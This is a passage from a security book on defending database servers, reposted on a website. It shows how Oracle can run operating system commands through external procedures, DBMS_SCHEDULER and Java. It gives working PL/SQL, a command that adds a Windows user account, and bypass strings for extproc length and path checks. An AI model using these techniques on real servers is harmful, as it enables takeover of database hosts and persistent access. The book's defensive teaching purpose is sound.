Running Operating System Commands

Providing you have the appropriate level of authorization, running operating system commands is a trivial task and can be done in a number of ways. Obtaining the appropriate level of authorization is another matter and is discussed in other chapters. For example, elevating privileges through PL/SQL injection is discussed.

Running OS Commands with PL/SQL

Before showing how it's possible to run OS commands from PL/SQL let's look at the technology behind how it works. PL/SQL can be extended by calling external procedures. External procedures are essentially functions that are exported by shared objects or dynamic link libraries. This is useful when we need to do something quite complex that can't be coded easily using PL/SQL. For example, assume we need to check a registry value on a Windows system from an Oracle application. This can't be done by using straight PL/SQL and we need to turn to external procedures. We write a C function to check the registry and then export it from a DLL. Let's call the function CheckReg(). We then tell the Oracle RDBMS about the DLL by creating a LIBRARY:

 CREATE OR REPLACE LIBRARY CHK_REG AS 'chkregistry.dll' 

Once the library is in place we can then create a procedure that calls the CheckReg() function:

 CREATE OR REPLACE PROCEDURE C_REG IS IS EXTERNAL NAME "CheckReg" LIBRARY CHK_REG LANGUAGE C; END C_REG; 

Here we've told PL/SQL that the call is external, the function to call is CheckReg(), and this function is exported by the CHK_REG library (chkregistry.dll).

Once created, we can execute the C_REG procedure, which in turns calls our CheckReg C function. The chain of events that happens on calling the C_REG procedure from Oracle is interesting (and open to abuse). The main Oracle process will connect to the TNS Listener and request the external procedure. The TNS Listener launches another process, namely extproc, and instructs the Oracle process to connect to the extproc process. The Oracle process sends a message to the extproc process to tell it to load chkregistry.dll and execute the CheckReg() function. All quite simple.

By using external procedures we can execute operating system commands by creating an Oracle library for msvcrt .dll or libc and call the system() function.

 CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll'; / 

This creates the library. Note that this example uses a full path . We'll come back to this. Next we create the procedure:

 show errors CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd; / show errors CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE exec(cmdstring IN CHAR) IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; end oracmd; / 

With the procedure created we can execute it and run our OS command:

 exec oracmd.exec ('net user ngssoftware password!! /add'); 

Now one of the more interesting aspects of all of this is the history of the security problems related to external procedures. It all starts with the fact that the communication between the Oracle process, the TNS Listener, and the extproc process is unauthenticated. Up to and including Oracle 9i an attacker could connect to the listener and pretend to be the Oracle process and execute functions remotely without requiring a user ID or password, allowing the attacker to completely compromise the database server.

Oracle created a fix for this. The fix includes a check to see if the external procedure caller is the local machine. If the caller is local, it is assumed that the caller is the Oracle process. This is of course an incorrect assumption and an attacker that can gain local access to the machine, either at the console or via telnet or SSH, can still run commands as the Oracle user without a valid Oracle user ID or password. This works only if the attacker is local to the Oracle server, however. Remote attacks fail; but there's a twist. The attempt is logged and the logging code makes an unsafe call to the sprintf() C function and is vulnerable to a buffer overflow vulnerability. If an overly long library name is passed to extproc, a fixed- size buffer on the stack is overflowed allowing a remote attacker without a user ID and password to still gain control.

So Oracle fixed this; its patch put a length check on the path to the library to ensure that the buffer couldn't be overflowed. This is a good step to take but Oracle made a critical error: extproc will expand any environment variables found in the path to the library supplied by the caller. This is done after the length check.

As such, if the caller requests that extproc loads

 $PATH$PATH$PATH$PATHfoo.dll 

the length check comes back with 27 (the number of bytes in the preceding string). Twenty-seven bytes easily fits into the buffer. But then the expansion occurs and our string suddenly becomes much longer than 27 bytes. However long the $PATH environment variable is multiplied by four plus seven for "foo.dll" part. This doesn't fit into the buffer. The buffer overflow is still there and so a remote attacker without a user ID and password can still gain control. All versions up to and including 10g are vulnerable.

Adding to this series of errors is a problem in the way paths are handled. When the first batch of problems in external procedures was fixed, one of the fixes included a check to ensure the library was in the $ORACLE_HOME\bin directory. This can be easily defeated with a parent path attack when the library is created:

 $ORACLE_HOME\bin\..\..\..\..\..\..\..\windows\system32\msvcrt.dll 

External procedures, while offering extreme flexibility, are a severe security risk. One wonders whether they'll ever be able to be considered as "safe." External procedures, where possible, should be disabled. To do this, see the chapter on securing Oracle.

Running OS Commands with DBMS_SCHEDULER

Oracle 10g comes with a new package: the DBMS_SCHEDULER. This can be used to run operating system commands. The CREATE_JOB procedure creates new jobs to be run by the database server. These jobs can have a job_type of plsql_block, which indicates the job is a block of anonymous PL/SQL; stored_procedure, which indicates the job is an external procedure: or, importantly, executable, which indicates that the job is to be executed outside of the RDBMS and this allows for running OS commands.

 BEGIN   dbms_scheduler.create_job(job_name        => 'cmd',                             job_type        => 'executable',                             job_action      => '/tmp/oracle.sh',                             enabled         => TRUE,                             auto_drop       => TRUE); END; /     exec dbms_scheduler.run_job('cmd'); 

Running OS Commands with Java

Java is built directly into Oracle and Java classes can be called from PL/SQL. If a user has the relevant permissions, granted via DBMS_JAVA, he can run operating system commands with the following:

 CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*;     public class JAVACMD {  public static void execCommand (String command) throws IOException  {      Runtime.getRuntime().exec(command);  } }; /     CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command  IN  VARCHAR2) AS LANGUAGE JAVA  NAME 'JAVACMD.execCommand (java.lang.String)'; / 

Once the class and procedure have been created an OS command can be run:

 exec javacmdproc('cmd.exe /c dir > c:\orajava.txt');      On Linux the command would be     exec javacmdproc('/bin/sh c ls > /tmp/list.txt'); 


Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net